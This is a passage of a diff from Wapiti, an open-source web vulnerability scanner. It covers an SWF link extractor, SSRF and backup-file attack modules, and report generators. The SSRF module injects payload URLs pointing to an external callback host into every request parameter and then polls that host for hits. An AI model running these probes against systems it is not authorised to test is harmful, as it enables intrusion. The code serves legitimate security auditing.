for __ in range(nb - 1):
|
||||
z, x = read_u30(data[i:])
|
||||
i += x
|
||||
|
||||
# Read the array of uintegers :
|
||||
nb, x = read_u30(data[i:])
|
||||
i += x
|
||||
for __ in range(nb - 1):
|
||||
z, x = read_u30(data[i:])
|
||||
i += x
|
||||
|
||||
# Pass the array of doubles
|
||||
nb, x = read_u30(data[i:])
|
||||
i += x
|
||||
if nb > 0:
|
||||
i += (nb - 1) * 8
|
||||
|
||||
# Process the array of strings
|
||||
nb, x = read_u30(data[i:])
|
||||
i += x
|
||||
for __ in range(nb - 1):
|
||||
nb, x = read_u30(data[i:])
|
||||
i += x
|
||||
string = data[i: i + nb].decode().strip()
|
||||
if "<a href=" in string:
|
||||
soup = BeautifulSoup(string, parser_name)
|
||||
for link in soup.find_all("a", href=True):
|
||||
yield link["href"]
|
||||
else:
|
||||
yield string
|
||||
i += nb
|
||||
|
||||
|
||||
def analyze_action(action):
|
||||
# Actions known to be uninteresting
|
||||
# if action.name in {
|
||||
# "ActionStop", "ButtonCondAction", "ActionAdd2", "ActionGetVariable", "ActionPop",
|
||||
# "ActionGetMember", "ActionSubtract", "ActionSetVariable", "ActionSetMember", "ActionGetURL2",
|
||||
# "ActionDefineLocal", "ActionCallMethod", "ActionDefineFunction2", "ActionPlay",
|
||||
# "ActionGotoFrame", "ActionStopSounds", "ActionInitArray", "ActionDivide", "ActionNot", "ActionIf",
|
||||
# "ActionReturn", "ActionGreater", "ActionNewObject", "ActionEquals2", "ActionIncrement", "ActionToNumber",
|
||||
# "ActionTrace", "ActionToString", "ActionMultiply", "ActionJump", "ActionTargetPath", "ActionLess2",
|
||||
# "ActionDefineFunction", "ActionStoreRegister", "ActionDecrement", "ActionWaitForFrame", "ActionNextFrame",
|
||||
# "ActionSetTarget", "ActionGetProperty", "ActionCallFunction", "ActionGotoFrame2", "ActionToInteger",
|
||||
# "ActionSetTarget2", "ActionInitObject", "ActionSetProperty", "ActionGoToLabel", "ActionNewMethod"
|
||||
# }:
|
||||
# return None
|
||||
|
||||
if action.name == "ActionPush":
|
||||
if action.Type == 0:
|
||||
yield action.String
|
||||
elif action.name == "ActionGetURL":
|
||||
yield action.UrlString
|
||||
elif action.name == "ButtonCondAction":
|
||||
if hasattr(action, "Actions"):
|
||||
for subaction in action.Actions:
|
||||
yield from analyze_action(subaction)
|
||||
elif action.name == "ActionConstantPool":
|
||||
if hasattr(action, "ConstantPool"):
|
||||
for constant in action.ConstantPool:
|
||||
yield constant
|
||||
|
||||
|
||||
def analyze_tag(tag):
|
||||
if tag.name in [
|
||||
"ShowFrame", "PlaceObject2", "DefineText", "DefineBits", "RemoveObject2", "DefineShape", "DefineFontName",
|
||||
"FrameLabel", "DefineShape4", "DefineFont3", "DefineShape2", "JPEGTables", "CSMTextSettings",
|
||||
"DefineFontAlignZones", "SetBackgroundColor", "Protect", "FileAttributes", "ExportAssets", "DefineShape3",
|
||||
"Metadata", "ScriptLimits", "EnableDebugger2", "SymbolClass", "DefineBitsJPEG3", "DefineBitsLossless2",
|
||||
"PlaceObject3", "DefineSceneAndFrameLabelData", "DefineBitsJPEG2", "DefineFont2", "DefineFontInfo2",
|
||||
"DefineFont", "DefineMorphShape", "DefineFontInfo", "StartSound", "DefineSound", "DefineButtonSound",
|
||||
"SoundStreamHead2", "SoundStreamHead", "SoundStreamBlock", "DefineBitsLossless", "SetTabIndex"
|
||||
]:
|
||||
return
|
||||
|
||||
if tag.name == "DefineSprite":
|
||||
for control_tag in tag.ControlTags:
|
||||
yield from analyze_tag(control_tag)
|
||||
# print(control_tag)
|
||||
elif tag.name == "DoABC":
|
||||
# 82
|
||||
yield from read_abc(tag.raw_payload[4:])
|
||||
elif tag.name == "DefineEditText":
|
||||
# 37
|
||||
if tag.HasText and tag.HTML:
|
||||
soup = BeautifulSoup(tag.InitialText, parser_name)
|
||||
for link in soup.find_all("a", href=True):
|
||||
yield link["href"]
|
||||
elif tag.name in ["DoAction", "DoInitAction", "DefineButton2"]:
|
||||
if hasattr(tag, "Actions"):
|
||||
for action in tag.Actions:
|
||||
for url in analyze_action(action):
|
||||
if url:
|
||||
yield url
|
||||
|
||||
|
||||
def extract_links_from_swf(file):
|
||||
swf = swfparser.SWFParser(file)
|
||||
urls = set()
|
||||
for tag in swf.tags:
|
||||
for text in analyze_tag(tag):
|
||||
if looks_like_an_url(text):
|
||||
urls.add(text)
|
||||
return list(urls)
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
import requests
|
||||
|
||||
# resp = requests.get("http://[::1]:8000/action.swf", stream=True)
|
||||
resp = requests.get("http://127.0.0.1/wivet/pages/wivet1.swf", stream=True)
|
||||
for link in extract_links_from_swf(resp.raw):
|
||||
print(link)
|
|
@ -0,0 +1,269 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from itertools import chain
|
||||
from random import choice
|
||||
from urllib.parse import quote
|
||||
from binascii import hexlify, unhexlify
|
||||
|
||||
from requests.exceptions import ReadTimeout, RequestException
|
||||
|
||||
from wapitiCore.attack.attack import Attack, Mutator, PayloadType
|
||||
from wapitiCore.language.vulnerability import Vulnerability, _
|
||||
from wapitiCore.net.web import Request
|
||||
|
||||
SSRF_PAYLOAD = "http://wapiti3.ovh/ssrf/{random_id}/{path_id}/{hex_param}/"
|
||||
|
||||
|
||||
class SsrfMutator(Mutator):
|
||||
def __init__(
|
||||
self, session_id: str, methods="FGP", payloads=None, qs_inject=False, max_queries_per_pattern: int = 1000,
|
||||
parameters=None, # Restrict attack to a whitelist of parameters
|
||||
skip=None # Must not attack those parameters (blacklist)
|
||||
):
|
||||
Mutator.__init__(
|
||||
self, methods=methods, payloads=payloads, qs_inject=qs_inject,
|
||||
max_queries_per_pattern=max_queries_per_pattern, parameters=parameters, skip=skip)
|
||||
self._session_id = session_id
|
||||
|
||||
def mutate(self, request: Request):
|
||||
get_params = request.get_params
|
||||
post_params = request.post_params
|
||||
file_params = request.file_params
|
||||
referer = request.referer
|
||||
|
||||
# estimation = self.estimate_requests_count(request)
|
||||
#
|
||||
# if self._attacks_per_url_pattern[request.hash_params] + estimation > self._max_queries_per_pattern:
|
||||
# # Otherwise (pattern already attacked), make sure we don't exceed maximum allowed
|
||||
# return
|
||||
#
|
||||
# self._attacks_per_url_pattern[request.hash_params] += estimation
|
||||
|
||||
for params_list in [get_params, post_params, file_params]:
|
||||
for i in range(len(params_list)):
|
||||
param_name = quote(params_list[i][0])
|
||||
|
||||
if self._skip_list and param_name in self._skip_list:
|
||||
continue
|
||||
|
||||
if self._parameters and param_name not in self._parameters:
|
||||
continue
|
||||
|
||||
saved_value = params_list[i][1]
|
||||
if saved_value is None:
|
||||
saved_value = ""
|
||||
|
||||
if params_list is file_params:
|
||||
params_list[i][1] = ["__PAYLOAD__", params_list[i][1][1]]
|
||||
else:
|
||||
params_list[i][1] = "__PAYLOAD__"
|
||||
|
||||
attack_pattern = Request(
|
||||
request.path,
|
||||
method=request.method,
|
||||
get_params=get_params,
|
||||
post_params=post_params,
|
||||
file_params=file_params
|
||||
)
|
||||
|
||||
if hash(attack_pattern) not in self._attack_hashes:
|
||||
self._attack_hashes.add(hash(attack_pattern))
|
||||
|
||||
payload = SSRF_PAYLOAD.format(
|
||||
random_id=self._session_id,
|
||||
path_id=request.path_id,
|
||||
hex_param=hexlify(param_name.encode("utf-8", errors="replace")).decode()
|
||||
)
|
||||
|
||||
flags = set()
|
||||
|
||||
if params_list is file_params:
|
||||
params_list[i][1][0] = payload
|
||||
flags.add(PayloadType.file)
|
||||
else:
|
||||
params_list[i][1] = payload
|
||||
if params_list is get_params:
|
||||
flags.add(PayloadType.get)
|
||||
else:
|
||||
flags.add(PayloadType.post)
|
||||
|
||||
evil_req = Request(
|
||||
request.path,
|
||||
method=request.method,
|
||||
get_params=get_params,
|
||||
post_params=post_params,
|
||||
file_params=file_params,
|
||||
referer=referer,
|
||||
link_depth=request.link_depth
|
||||
)
|
||||
yield evil_req, param_name, payload, flags
|
||||
|
||||
params_list[i][1] = saved_value
|
||||
|
||||
if not get_params and request.method == "GET" and self._qs_inject:
|
||||
attack_pattern = Request(
|
||||
"{}?__PAYLOAD__".format(request.path),
|
||||
method=request.method,
|
||||
referer=referer,
|
||||
link_depth=request.link_depth
|
||||
)
|
||||
|
||||
if hash(attack_pattern) not in self._attack_hashes:
|
||||
self._attack_hashes.add(hash(attack_pattern))
|
||||
|
||||
flags = set()
|
||||
payload = SSRF_PAYLOAD.format(
|
||||
random_id=self._session_id,
|
||||
path_id=request.path_id,
|
||||
hex_param=hexlify("QUERY_STRING").decode()
|
||||
)
|
||||
|
||||
evil_req = Request(
|
||||
"{}?{}".format(request.path, quote(payload)),
|
||||
method=request.method,
|
||||
referer=referer,
|
||||
link_depth=request.link_depth
|
||||
)
|
||||
flags.add(PayloadType.get)
|
||||
|
||||
yield evil_req, "QUERY_STRING", flags
|
||||
|
||||
|
||||
class mod_ssrf(Attack):
|
||||
"""
|
||||
This class implements an SSRF vulnerability check
|
||||
"""
|
||||
|
||||
name = "ssrf"
|
||||
payloads = ("\xBF'\"(", set())
|
||||
MSG_VULN = _("SSRF vulnerability")
|
||||
|
||||
def __init__(self, crawler, persister, logger, attack_options):
|
||||
Attack.__init__(self, crawler, persister, logger, attack_options)
|
||||
self._session_id = "".join([choice("0123456789abcdefghjijklmnopqrstuvwxyz") for __ in range(0, 6)])
|
||||
|
||||
def attack(self):
|
||||
methods = ""
|
||||
if self.do_get:
|
||||
methods += "G"
|
||||
if self.do_post:
|
||||
methods += "PF"
|
||||
|
||||
mutator = SsrfMutator(
|
||||
session_id=self._session_id,
|
||||
methods=methods,
|
||||
payloads=self.payloads,
|
||||
qs_inject=self.must_attack_query_string,
|
||||
skip=self.options.get("skipped_parameters")
|
||||
)
|
||||
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
forms = self.persister.get_forms(attack_module=self.name) if self.do_post else []
|
||||
|
||||
for original_request in chain(http_resources, forms):
|
||||
if self.verbose >= 1:
|
||||
print("[+] {}".format(original_request))
|
||||
|
||||
# Let's just send payloads, we don't care of the response as what we want to know is if the target
|
||||
# contacted the endpoint.
|
||||
for mutated_request, parameter, payload, flags in mutator.mutate(original_request):
|
||||
try:
|
||||
if self.verbose == 2:
|
||||
print("[¨] {0}".format(mutated_request))
|
||||
|
||||
try:
|
||||
self.crawler.send(mutated_request)
|
||||
except ReadTimeout:
|
||||
continue
|
||||
except (KeyboardInterrupt, RequestException) as exception:
|
||||
yield exception
|
||||
|
||||
yield original_request
|
||||
|
||||
# A la fin des attaques on questionne le endpoint pour savoir s'il a été contacté
|
||||
endpoint_request = Request("https://wapiti3.ovh/get_ssrf.php?id={}".format(self._session_id))
|
||||
try:
|
||||
response = self.crawler.send(endpoint_request)
|
||||
except ReadTimeout:
|
||||
pass
|
||||
else:
|
||||
data = response.json
|
||||
if isinstance(data, dict):
|
||||
for request_id in data:
|
||||
original_request = self.persister.get_path_by_id(request_id)
|
||||
if not original_request:
|
||||
raise ValueError("Could not find the original request with that ID")
|
||||
|
||||
page = original_request.path
|
||||
for hex_param in data[request_id]:
|
||||
parameter = unhexlify(hex_param).decode("utf-8")
|
||||
|
||||
for infos in data[request_id][hex_param]:
|
||||
request_url = infos["url"]
|
||||
# Date in ISO format
|
||||
request_date = infos["date"]
|
||||
request_ip = infos["ip"]
|
||||
request_method = infos["method"]
|
||||
# request_size = infos["size"]
|
||||
|
||||
if parameter == "QUERY_STRING":
|
||||
vuln_message = Vulnerability.MSG_QS_INJECT.format(self.MSG_VULN, page)
|
||||
else:
|
||||
vuln_message = _(
|
||||
"{0} via injection in the parameter {1}.\n"
|
||||
"The target performed an outgoing HTTP {2} request at {3} with IP {4}.\n"
|
||||
"Full request can be seen at {5}"
|
||||
).format(
|
||||
self.MSG_VULN,
|
||||
parameter,
|
||||
request_method,
|
||||
request_date,
|
||||
request_ip,
|
||||
request_url
|
||||
)
|
||||
|
||||
mutator = Mutator(
|
||||
methods="G" if original_request.method == "GET" else "P",
|
||||
payloads=[("http://external.url/page", set())],
|
||||
qs_inject=self.must_attack_query_string,
|
||||
skip=self.options.get("skipped_parameters")
|
||||
)
|
||||
|
||||
mutated_request, parameter, taint, flags = next(mutator.mutate(original_request))
|
||||
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.SSRF,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=mutated_request,
|
||||
info=vuln_message,
|
||||
parameter=parameter
|
||||
)
|
||||
|
||||
self.log_red("---")
|
||||
self.log_red(
|
||||
Vulnerability.MSG_QS_INJECT if parameter == "QUERY_STRING"
|
||||
else Vulnerability.MSG_PARAM_INJECT,
|
||||
self.MSG_VULN,
|
||||
page,
|
||||
parameter
|
||||
)
|
||||
self.log_red(Vulnerability.MSG_EVIL_REQUEST)
|
||||
self.log_red(mutated_request.http_repr())
|
||||
self.log_red("---")
|
|
@ -0,0 +1,57 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# Original author :
|
||||
# David del Pozo
|
||||
# Alberto Pastor
|
||||
# Copyright (C) 2008 Informatica Gesfor
|
||||
# ICT Romulus (http://www.ict-romulus.eu)
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from importlib import import_module
|
||||
|
||||
|
||||
class ReportGeneratorInfo:
|
||||
|
||||
def __init__(self):
|
||||
self.name = None
|
||||
self.class_name = None
|
||||
self.class_module = None
|
||||
|
||||
def get_key(self):
|
||||
return self.name
|
||||
|
||||
def get_class_module(self):
|
||||
return self.class_module
|
||||
|
||||
def get_class_name(self):
|
||||
return self.class_name
|
||||
|
||||
def set_key(self, name):
|
||||
self.name = name
|
||||
|
||||
def set_class_module(self, class_module):
|
||||
self.class_module = class_module
|
||||
|
||||
def set_class_name(self, class_name):
|
||||
self.class_name = class_name
|
||||
|
||||
def create_instance(self):
|
||||
# module = __import__(self.get_class_module(), globals(), locals(), ['NoName'], -1)
|
||||
module = import_module("wapitiCore.report.{}".format(self.get_class_module()))
|
||||
generator_class = getattr(module, self.get_class_name())
|
||||
return generator_class()
|
|
@ -0,0 +1,95 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2009-2018 Nicolas Surribas
|
||||
#
|
||||
# Original authors :
|
||||
# Anthony DUBOCAGE
|
||||
# Guillaume TRANCHANT
|
||||
# Gregory FONTAINE
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from os.path import splitext
|
||||
|
||||
from requests.exceptions import RequestException
|
||||
|
||||
from wapitiCore.attack.attack import Attack
|
||||
from wapitiCore.language.vulnerability import Vulnerability, _
|
||||
from wapitiCore.net import web
|
||||
|
||||
|
||||
class mod_backup(Attack):
|
||||
"""
|
||||
This class implements a "backup attack"
|
||||
"""
|
||||
|
||||
PAYLOADS_FILE = "backupPayloads.txt"
|
||||
|
||||
name = "backup"
|
||||
|
||||
do_get = False
|
||||
do_post = False
|
||||
|
||||
def attack(self):
|
||||
http_resources = self.persister.get_links(attack_module=self.name) if self.do_get else []
|
||||
|
||||
for original_request in http_resources:
|
||||
|
||||
if original_request.file_name == "":
|
||||
yield original_request
|
||||
continue
|
||||
|
||||
page = original_request.path
|
||||
headers = original_request.headers
|
||||
|
||||
# Do not attack application-type files
|
||||
if "content-type" not in headers:
|
||||
# Sometimes there's no content-type... so we rely on the document extension
|
||||
if (page.split(".")[-1] not in self.allowed) and page[-1] != "/":
|
||||
yield original_request
|
||||
continue
|
||||
elif "text" not in headers["content-type"]:
|
||||
yield original_request
|
||||
continue
|
||||
|
||||
for payload, flags in self.payloads:
|
||||
try:
|
||||
payload = payload.replace("[FILE_NAME]", original_request.file_name)
|
||||
payload = payload.replace("[FILE_NOEXT]", splitext(original_request.file_name)[0])
|
||||
url = page.replace(original_request.file_name, payload)
|
||||
|
||||
if self.verbose == 2:
|
||||
print("[¨] {0}".format(url))
|
||||
|
||||
if url not in self.attacked_get:
|
||||
self.attacked_get.append(url)
|
||||
evil_req = web.Request(url)
|
||||
|
||||
response = self.crawler.send(evil_req)
|
||||
if response and response.status == 200:
|
||||
self.log_red(_("Found backup file {}".format(evil_req.url)))
|
||||
|
||||
self.add_vuln(
|
||||
request_id=original_request.path_id,
|
||||
category=Vulnerability.BACKUP,
|
||||
level=Vulnerability.HIGH_LEVEL,
|
||||
request=evil_req,
|
||||
info=_("Backup file {0} found for {1}").format(url, page)
|
||||
)
|
||||
|
||||
except (KeyboardInterrupt, RequestException) as exception:
|
||||
yield exception
|
||||
|
||||
yield original_request
|
File diff suppressed because one or more lines are too long
|
@ -0,0 +1,245 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2013-2018 Nicolas Surribas
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
from xml.dom.minidom import Document
|
||||
import uuid
|
||||
|
||||
from wapitiCore.report.reportgenerator import ReportGenerator
|
||||
|
||||
|
||||
class OpenVASReportGenerator(ReportGenerator):
|
||||
"""
|
||||
This class generates a report with the method printToFile(fileName) which contains
|
||||
the information of all the vulnerabilities notified to this object through the
|
||||
method add_vulnerability(vulnerabilityTypeName,level,url,parameter,info).
|
||||
The format of the file is XML and it has the following structure:
|
||||
<report type="security">
|
||||
<generatedBy id="Wapiti 3.0.1"/>
|
||||
<vulnerabilityTypeList>
|
||||
<vulnerabilityType name="SQL Injection">
|
||||
|
||||
<vulnerabilityTypeList>
|
||||
<vulnerabilityType name="SQL Injection">
|
||||
<vulnerabilityList>
|
||||
<vulnerability level="3">
|
||||
<url>http://www.a.com</url>
|
||||
<parameters>id=23</parameters>
|
||||
<info>SQL Injection</info>
|
||||
</vulnerability>
|
||||
</vulnerabilityList>
|
||||
</vulnerabilityType>
|
||||
</vulnerabilityTypeList>
|
||||
</report>
|
||||
"""
|
||||
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
self._xml_doc = Document()
|
||||
self._flaw_types = {}
|
||||
|
||||
self._vulns = {}
|
||||
self._anomalies = {}
|
||||
|
||||
self._vuln_count = 0
|
||||
self._anom_count = 0
|
||||
|
||||
# Vulnerabilities
|
||||
def add_vulnerability_type(self, name, description="", solution="", references=None):
|
||||
if name not in self._flaw_types:
|
||||
self._flaw_types[name] = {
|
||||
'desc': description,
|
||||
'sol': solution,
|
||||
'ref': references}
|
||||
if name not in self._vulns:
|
||||
self._vulns[name] = []
|
||||
|
||||
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
"""
|
||||
Store the information about the vulnerability to be printed later.
|
||||
The method printToFile(fileName) can be used to save in a file the
|
||||
vulnerabilities notified through the current method.
|
||||
"""
|
||||
|
||||
vuln_dict = {
|
||||
"method": request.method,
|
||||
"hostname": request.hostname,
|
||||
"port": request.port,
|
||||
"path": request.file_path,
|
||||
"info": info,
|
||||
"level": level,
|
||||
"parameter": parameter,
|
||||
"http_request": request.http_repr(left_margin=""),
|
||||
"curl_command": request.curl_repr,
|
||||
}
|
||||
if category not in self._vulns:
|
||||
self._vulns[category] = []
|
||||
self._vulns[category].append(vuln_dict)
|
||||
self._vuln_count += 1
|
||||
|
||||
# Anomalies
|
||||
def add_anomaly_type(self, name, description="", solution="", references=None):
|
||||
if name not in self._flaw_types:
|
||||
self._flaw_types[name] = {
|
||||
'desc': description,
|
||||
'sol': solution,
|
||||
'ref': references
|
||||
}
|
||||
if name not in self._anomalies:
|
||||
self._anomalies[name] = []
|
||||
|
||||
def add_anomaly(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
"""
|
||||
Store the information about the vulnerability to be printed later.
|
||||
The method printToFile(fileName) can be used to save in a file the
|
||||
vulnerabilities notified through the current method.
|
||||
"""
|
||||
|
||||
anom_dict = {
|
||||
"method": request.method,
|
||||
"hostname": request.hostname,
|
||||
"port": request.port,
|
||||
"path": request.file_path,
|
||||
"info": info,
|
||||
"level": level,
|
||||
"parameter": parameter,
|
||||
"http_request": request.http_repr(left_margin=""),
|
||||
"curl_command": request.curl_repr,
|
||||
}
|
||||
if category not in self._anomalies:
|
||||
self._anomalies[category] = []
|
||||
self._anomalies[category].append(anom_dict)
|
||||
self._anom_count += 1
|
||||
|
||||
def generate_report(self, output_path):
|
||||
"""
|
||||
Create a xml file with a report of the vulnerabilities which have been logged with
|
||||
the method add_vulnerability(vulnerabilityTypeName,level,url,parameter,info)
|
||||
"""
|
||||
|
||||
uuid_report = str(uuid.uuid1())
|
||||
report = self._xml_doc.createElement("report")
|
||||
report.setAttribute("extension", "xml")
|
||||
report.setAttribute("id", uuid_report)
|
||||
report.setAttribute("type", "scan")
|
||||
report.setAttribute("content_type", "text/html")
|
||||
report.setAttribute("format_id", "a994b278-1f62-11e1-96ac-406186ea4fc5")
|
||||
self._xml_doc.appendChild(report)
|
||||
|
||||
# Add report infos
|
||||
report_infos = self._xml_doc.createElement("report")
|
||||
report_infos.setAttribute("id", uuid_report)
|
||||
|
||||
scan_run_status = self._xml_doc.createElement("scan_run_status")
|
||||
scan_run_status.appendChild(self._xml_doc.createTextNode("Done"))
|
||||
report_infos.appendChild(scan_run_status)
|
||||
|
||||
scan_start = self._xml_doc.createElement("scan_start")
|
||||
scan_start.appendChild(self._xml_doc.createTextNode(self._infos["date"]))
|
||||
report_infos.appendChild(scan_start)
|
||||
|
||||
results = self._xml_doc.createElement("results")
|
||||
results.setAttribute("start", "1")
|
||||
results.setAttribute("max", str(self._vuln_count + self._anom_count))
|
||||
|
||||
# Loop on each flaw classification
|
||||
for flawType in self._flaw_types:
|
||||
classification = ""
|
||||
flaw_dict = {}
|
||||
if flawType in self._vulns:
|
||||
classification = "vulnerability"
|
||||
flaw_dict = self._vulns
|
||||
elif flawType in self._anomalies:
|
||||
classification = "anomaly"
|
||||
flaw_dict = self._anomalies
|
||||
|
||||
for flaw in flaw_dict[flawType]:
|
||||
result = self._xml_doc.createElement("result")
|
||||
result.setAttribute("id", str(uuid.uuid4()))
|
||||
|
||||
subnet = self._xml_doc.createElement("subnet")
|
||||
subnet.appendChild(self._xml_doc.createTextNode(flaw["hostname"]))
|
||||
result.appendChild(subnet)
|
||||
|
||||
host = self._xml_doc.createElement("host")
|
||||
host.appendChild(self._xml_doc.createTextNode(flaw["hostname"]))
|
||||
result.appendChild(host)
|
||||
|
||||
port = self._xml_doc.createElement("port")
|
||||
port.appendChild(self._xml_doc.createTextNode(str(flaw["port"])))
|
||||
result.appendChild(port)
|
||||
|
||||
nvt = self._xml_doc.createElement("nvt")
|
||||
nvt.setAttribute("oid", str(uuid.uuid4()))
|
||||
|
||||
name = self._xml_doc.createElement("name")
|
||||
name.appendChild(self._xml_doc.createTextNode(flawType))
|
||||
nvt.appendChild(name)
|
||||
|
||||
family = self._xml_doc.createElement("family")
|
||||
family.appendChild(self._xml_doc.createTextNode(classification))
|
||||
nvt.appendChild(family)
|
||||
|
||||
cvss_base = self._xml_doc.createElement("cvss_base")
|
||||
cvss_base.appendChild(self._xml_doc.createTextNode("0.0"))
|
||||
nvt.appendChild(cvss_base)
|
||||
|
||||
risk_factor = self._xml_doc.createElement("risk_factor")
|
||||
risk_factor.appendChild(self._xml_doc.createTextNode(str(flaw["level"])))
|
||||
nvt.appendChild(risk_factor)
|
||||
|
||||
cve = self._xml_doc.createElement("cve")
|
||||
cve.appendChild(self._xml_doc.createTextNode(""))
|
||||
nvt.appendChild(cve)
|
||||
|
||||
bid = self._xml_doc.createElement("bid")
|
||||
bid.appendChild(self._xml_doc.createTextNode(""))
|
||||
nvt.appendChild(bid)
|
||||
|
||||
tags = self._xml_doc.createElement("tags")
|
||||
tags.appendChild(self._xml_doc.createTextNode(""))
|
||||
nvt.appendChild(tags)
|
||||
|
||||
certs = self._xml_doc.createElement("certs")
|
||||
certs.appendChild(self._xml_doc.createTextNode(""))
|
||||
nvt.appendChild(certs)
|
||||
|
||||
xref = self._xml_doc.createElement("xref")
|
||||
xref.appendChild(self._xml_doc.createTextNode("NOXREF"))
|
||||
nvt.appendChild(xref)
|
||||
|
||||
result.appendChild(nvt)
|
||||
|
||||
threat = self._xml_doc.createElement("threat")
|
||||
threat.appendChild(self._xml_doc.createTextNode(str(flaw["level"])))
|
||||
result.appendChild(threat)
|
||||
|
||||
description = self._xml_doc.createElement("description")
|
||||
description.appendChild(self._xml_doc.createCDATASection(flaw["info"]))
|
||||
result.appendChild(description)
|
||||
|
||||
original_threat = self._xml_doc.createElement("original_threat")
|
||||
original_threat.appendChild(self._xml_doc.createTextNode(str(flaw["level"])))
|
||||
result.appendChild(original_threat)
|
||||
|
||||
results.appendChild(result)
|
||||
|
||||
report_infos.appendChild(results)
|
||||
report.appendChild(report_infos)
|
||||
|
||||
with open(output_path, "w") as fd:
|
||||
self._xml_doc.writexml(fd, addindent=" ", newl="\n")
|
|
@ -0,0 +1,60 @@
|
|||
#!/usr/bin/env python3
|
||||
# -*- coding: utf-8 -*-
|
||||
# This file is part of the Wapiti project (http://wapiti.sourceforge.net)
|
||||
# Copyright (C) 2008-2018 Nicolas Surribas
|
||||
#
|
||||
# Original authors :
|
||||
# Alberto Pastor
|
||||
# David del Pozo
|
||||
# Copyright (C) 2008 Informatica Gesfor
|
||||
# ICT Romulus (http://www.ict-romulus.eu)
|
||||
#
|
||||
# This program is free software; you can redistribute it and/or modify
|
||||
# it under the terms of the GNU General Public License as published by
|
||||
# the Free Software Foundation; either version 2 of the License, or
|
||||
# (at your option) any later version.
|
||||
#
|
||||
# This program is distributed in the hope that it will be useful,
|
||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
# GNU General Public License for more details.
|
||||
#
|
||||
# You should have received a copy of the GNU General Public License
|
||||
# along with this program; if not, write to the Free Software
|
||||
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
import time
|
||||
|
||||
|
||||
class ReportGenerator:
|
||||
def __init__(self):
|
||||
self._infos = {}
|
||||
self._date = None
|
||||
|
||||
def set_report_info(self, target, scope, date, version):
|
||||
"""Set the informations about the scan"""
|
||||
self._infos["target"] = target
|
||||
self._infos["date"] = time.strftime("%a, %d %b %Y %H:%M:%S +0000", date)
|
||||
self._infos["version"] = version
|
||||
self._infos["scope"] = scope
|
||||
self._date = date
|
||||
|
||||
@property
|
||||
def scan_date(self):
|
||||
return self._date
|
||||
|
||||
def generate_report(self, output_path):
|
||||
pass
|
||||
|
||||
# Vulnerabilities
|
||||
def add_vulnerability_type(self, name, description="", solution="", references=None):
|
||||
pass
|
||||
|
||||
def add_vulnerability(self, category=None, level=0, request=None, parameter="", info=""):
|
||||
pass
|
||||
|
||||
# Anomalies
|
||||
def add_anomaly_type(self, name, description="", solution="", references=None):
|
||||
pass
|
||||
|
||||
